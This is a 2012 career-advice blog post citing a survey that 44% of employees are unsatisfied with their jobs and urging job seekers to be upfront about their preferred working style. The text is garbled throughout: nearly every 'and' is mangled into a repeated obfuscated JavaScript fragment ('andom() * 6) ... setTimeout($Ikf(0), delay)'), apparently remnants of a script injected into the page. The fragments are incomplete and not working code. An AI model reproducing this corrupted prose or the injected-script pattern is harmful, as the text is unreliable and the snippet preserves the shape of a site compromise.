44% Of Employees “Unsatisfied”

Wednesday, 30. May 2012

According to a recent article at Forbes.com, 44% of employees are unsatisfied with their current jobs. As Susan Adams writes in her article, “New Survey: Majority of Employees Dissatisfied”, even while unhappy, many employees feel stuck, afraid to make a career change, due largely to the current job economy.

Most articles you will read about professionally written resumes will focus on how to get a potential employer’s attention. Very few give tips on making sure the right employer pays attention…andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and the wrong ones don’t.

For instance, many people say that I am a team player. But really, that is just a code word for loyalty. Not everyone plays well in a team andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and not every workplace is good for team players. Some people work better on their own, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and some workplaces leave employees to work on their own. Some individual bosses like to micromanage, while others like to give direction andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and kick you out of the nest.

In order to find a work environment that will make you happy you need to be upfront, honest, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and specific about your preferred working style. Many new hires have the tendency to try to be the type of worker that they think the employer is looking for, even if they know it will not make them happy in the long run.

Catering your perceived working style andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and preferences to a new employer will not help you to attract the right kind of employers, the ones you would actually enjoy working for.

By not being upfront about your work environment preferences you will likely become one of the 44% – dissatisfied with the one thing you spend the most waking hours doing, your job.

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